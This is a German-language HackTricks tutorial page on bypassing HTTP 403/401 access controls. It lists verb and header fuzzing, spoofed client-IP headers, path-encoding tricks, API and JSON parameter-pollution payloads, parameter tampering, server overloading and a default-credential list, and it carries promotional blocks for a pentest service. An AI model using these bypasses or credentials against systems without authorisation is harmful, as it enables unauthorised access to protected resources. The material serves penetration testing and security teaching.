hacktricks/network-services-pentesting/pentesting-web/403-and-401-bypasses.md
2024-02-10 15:36:32 +00:00

9.7 KiB
Raw Blame History

403 & 401 Umgehungen

Lernen Sie AWS-Hacking von Grund auf mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

Sofort verfügbare Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Penetrationstest von überall aus mit über 20 Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Penetrationstester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/" %}

Fuzzing von HTTP-Verben/Methoden

Versuchen Sie, verschiedene Verben zu verwenden, um auf die Datei zuzugreifen: GET, HEAD, POST, PUT, DELETE, CONNECT, OPTIONS, TRACE, PATCH, INVENTED, HACK

  • Überprüfen Sie die Antwortheader, möglicherweise können einige Informationen angegeben werden. Zum Beispiel bedeutet eine 200-Antwort auf HEAD mit Content-Length: 55, dass das HEAD-Verb auf die Informationen zugreifen kann. Sie müssen jedoch immer noch einen Weg finden, um diese Informationen zu exfiltrieren.
  • Mit einem HTTP-Header wie X-HTTP-Method-Override: PUT kann das verwendete Verb überschrieben werden.
  • Verwenden Sie das TRACE-Verb und wenn Sie sehr viel Glück haben, können Sie möglicherweise in der Antwort auch die von Zwischenproxys hinzugefügten Header sehen, die nützlich sein könnten.

Fuzzing von HTTP-Headern

  • Ändern Sie den Host-Header auf einen beliebigen Wert (der hier funktioniert hat)

  • Versuchen Sie, andere User Agents zu verwenden, um auf die Ressource zuzugreifen.

  • Fuzzen Sie HTTP-Header: Versuchen Sie, HTTP-Proxy-Header, HTTP-Authentifizierung Basic und NTLM-Brute-Force (nur mit einigen Kombinationen) und andere Techniken zu verwenden. Hierfür habe ich das Tool fuzzhttpbypass erstellt.

  • X-Originating-IP: 127.0.0.1

  • X-Forwarded-For: 127.0.0.1

  • X-Forwarded: 127.0.0.1

  • Forwarded-For: 127.0.0.1

  • X-Remote-IP: 127.0.0.1

  • X-Remote-Addr: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • X-Original-URL: 127.0.0.1

  • Client-IP: 127.0.0.1

  • True-Client-IP: 127.0.0.1

  • Cluster-Client-IP: 127.0.0.1

  • X-ProxyUser-Ip: 127.0.0.1

  • Host: localhost

Wenn der Pfad geschützt ist, können Sie versuchen, den Pfadschutz mit diesen anderen Headern zu umgehen:

  • X-Original-URL: /admin/console
  • X-Rewrite-URL: /admin/console
  • Wenn die Seite hinter einem Proxy liegt, ist möglicherweise der Proxy derjenige, der verhindert, dass Sie auf die privaten Informationen zugreifen. Versuchen Sie, HTTP Request Smuggling oder hop-by-hop headers** zu missbrauchen.**
  • Fuzzing von speziellen HTTP-Headern, um nach unterschiedlichen Antworten zu suchen.
  • Fuzzen Sie spezielle HTTP-Header beim Fuzzing von HTTP-Methoden.
  • Entfernen Sie den Host-Header und möglicherweise können Sie den Schutz umgehen.

Pfad-Fuzzing

Wenn /path blockiert ist:

  • Versuchen Sie /%2e/path _(wenn der Zugriff von einem Proxy blockiert wird, könnte dies den Schutz umgehen). Versuchen Sie auch_** /%252e**/path (doppelte URL-Codierung)
  • Versuchen Sie den Unicode-Bypass: /%ef%bc%8fpath (Die URL-codierten Zeichen sind wie "/"), sodass sie beim erneuten Codieren //path sein werden und Sie möglicherweise bereits die /path-Namensprüfung umgangen haben
  • Andere Pfad-Umgehungen:
  • site.com/secret > HTTP 403 Forbidden
  • site.com/SECRET > HTTP 200 OK
  • site.com/secret/ > HTTP 200 OK
  • site.com/secret/. > HTTP 200 OK
  • site.com//secret// > HTTP 200 OK
  • site.com/./secret/.. > HTTP 200 OK
  • site.com/;/secret > HTTP 200 OK
  • site.com/.;/secret > HTTP 200 OK
  • site.com//;//secret > HTTP 200 OK
  • site.com/secret.json > HTTP 200 OK (ruby)
  • Verwenden Sie diese gesamte Liste in den folgenden Situationen:
  • /FUZZsecret
  • /FUZZ/secret
  • /secretFUZZ
  • Andere API-Umgehungen:
  • /v3/users_data/1234 --> 403 Forbidden
  • /v1/users_data/1234 --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:[111]} --> 200 OK
  • {“id”:111} --> 401 Unauthriozied
  • {“id”:{“id”:111}} --> 200 OK
  • {"user_id":"<legit_id>","user_id":"<victims_id>"} (JSON Parameter Pollution)
  • user_id=ATTACKER_ID&user_id=VICTIM_ID (Parameter Pollution)

Parametermanipulation

  • Ändern Sie den Parametewert: Von id=123 --> id=124
  • Fügen Sie zusätzliche Parameter zur URL hinzu: ?id=124 —-> id=124&isAdmin=true
  • Entfernen Sie die Parameter
  • Reihenfolge der Parameter ändern
  • Verwenden Sie Sonderzeichen.
  • Führen Sie Grenzwerttests in den Parametern durch - geben Sie Werte wie -234 oder 0 oder 99999999 an (nur einige Beispiele für Werte).

Protokollversion

Wenn Sie HTTP/1.1 verwenden, versuchen Sie es mit 1.0 oder testen Sie sogar, ob es 2.0 unterstützt.

Andere Umgehungen

  • Holen Sie sich die IP oder CNAME der Domain und versuchen Sie, direkt Kontakt aufzunehmen.
  • Versuchen Sie, den Server zu überlasten, indem Sie gängige GET-Anfragen senden (Es hat bei diesem Kerl mit Facebook funktioniert).
  • Ändern Sie das Protokoll: von http zu https oder von https zu http
  • Gehen Sie zu https://archive.org/web/ und überprüfen Sie, ob diese Datei in der Vergangenheit weltweit zugänglich war.

Brute Force

  • Raten Sie das Passwort: Testen Sie die folgenden gängigen Anmeldeinformationen. Wissen Sie etwas über das Opfer? Oder den Namen der CTF-Herausforderung?
  • Brute Force: Versuchen Sie grundlegende, Digest- und NTLM-Authentifizierung.

{% code title="Gängige Anmeldeinformationen" %}

admin    admin
admin    password
admin    1234
admin    admin1234
admin    123456
root     toor
test     test
guest    guest

{% endcode %}

Automatische Tools

Sofort einsatzbereite Einrichtung für Schwachstellenbewertung und Penetrationstests. Führen Sie einen vollständigen Pentest von überall aus mit über 20 Tools und Funktionen durch, die von der Aufklärung bis zum Bericht reichen. Wir ersetzen keine Pentester - wir entwickeln benutzerdefinierte Tools, Erkennungs- und Exploit-Module, um ihnen etwas Zeit zu geben, um tiefer zu graben, Shells zu öffnen und Spaß zu haben.

{% embed url="https://pentest-tools.com/" %}

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen: